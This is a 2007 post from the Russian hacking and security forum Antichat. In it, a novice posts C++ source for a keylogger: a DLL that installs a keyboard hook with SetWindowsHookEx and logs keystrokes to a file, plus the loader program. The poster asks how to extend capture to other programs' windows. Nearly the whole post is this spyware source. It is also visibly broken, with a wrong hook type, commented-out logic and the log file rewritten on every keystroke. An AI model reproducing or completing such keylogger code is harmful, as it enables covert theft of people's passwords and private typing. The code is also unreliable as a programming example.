ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

12.12.2007, 14:48
|
|
Новичок
Регистрация: 11.12.2007
Сообщений: 2
Провел на форуме: 4425
Репутация:
0
|
|
Привет товарищи вопрос такой написал простенький keylogger при вводе текста ловит только в своё окно а из других типа блокнота не ловит пробовал получать handle активного вданный момент окна и подключится к активному окну неполучилось Что я делаю не так? Помогите пожалуйта
HookProc и SetWindowsHookEx оформил в длл
код Длл:
Код:
#include "stdafx.h"
#include <windows.h>
#include "stdio.h"
#include "HOOK1.h"
#pragma data_seg(".SHAREDDATA")
//Глобальные данные
HHOOK SysHook;
HINSTANCE hInst;
FILE *stream;
int a=0;
int nCode;
WPARAM wParam;
LPARAM lParam;
TCHAR String[256000];
//HWND Wnd;
//DWORD dwThreadId;
//DWORD dwCUrrentId;
#pragma data_seg()
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hInst=(HINSTANCE)hModule;
return TRUE;
}//DllMain
LRESULT CALLBACK KeyProc(int nCode,
WPARAM wParam,// virtual-key code
LPARAM lParam)// keystroke-message information
{
if (lParam>0x8000 )
//if (nCode == HC_ACTION)
{
UINT uScanCode = MapVirtualKey(wParam,0);
BYTE KeyState[256];
WORD BufChar;
UINT uFlags=0;
/*dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
dwCUrrentId =GetCurrentThreadId();
if (dwThreadId != dwCUrrentId) {
AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
GetKeyboardState(KeyState);
if(ToAscii(wParam,uScanCode,KeyState,&BufChar,uFlags)==1)
{if (char(BufChar)==8)
{if(a==0) return 0;
else a--;return 0;}
if(a>250000)
MessageBox(NULL,String,"hehe",0);
stream = fopen( "SniFFCode", "w+t");
fprintf(stream,"%s\n",String);
fclose(stream);
String[a]=char(BufChar);
a++;
}//if
}
return 0;//CallNextHookEx(SysHook,nCode,wParam,lParam);;
}//KeyProc
DllExport void RunStopHook(bool State, HINSTANCE hInstance)
{
//DWORD dwThreadId;
//DWORD dwCUrrentId;
{
if (true){
/* dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
dwCUrrentId =GetCurrentThreadId();
if (dwThreadId == dwCUrrentId)
{MessageBeep(0xFFFFFFFF);}
else
AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
SysHook = SetWindowsHookEx(0,KeyProc, hInstance,0 );
//KeyProc(nCode,wParam,lParam);
if (SysHook == NULL)
UnhookWindowsHookEx(SysHook);
}else
UnhookWindowsHookEx(SysHook);
}
//AttachThreadInput(dwCUrrentId,dwThreadId,false);
//MessageBeep(0xFFFFFFFF);
}//RunStopHook
и приложения привожу код приложения:
HINSTANCE hModule;
// Cоздаю новый указатель на функцию
typedef void (RunStopHookProc)(bool, HINSTANCE);
RunStopHookProc* RunStopHook(NULL) ;
// Load the DLL file (Чтение DLL-библиотеки)
hModule = LoadLibrary("HOOK1.dll");
if(hModule!= NULL)
{
RunStopHook = (RunStopHookProc*)GetProcAddress(
(HMODULE) hModule, "RunStopHook");
}
if(RunStopHook != NULL)
{
(*RunStopHook)(true, hInstance);
}
else
{
FreeLibrary(hModule);
}
// Main message loop:
while (GetMessage(&msg,NULL, 0, 0))
{
(*RunStopHook)(true, hInstance);
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
(*RunStopHook)(false,hInstance);
FreeLibrary(hModule);
return (int) msg.wParam;
}
Последний раз редактировалось De-visible; 27.04.2008 в 19:47..
Причина: теги [code]
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Клавиатурный шпион
|
|
Болталка |
12 |
15.09.2008 16:29 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|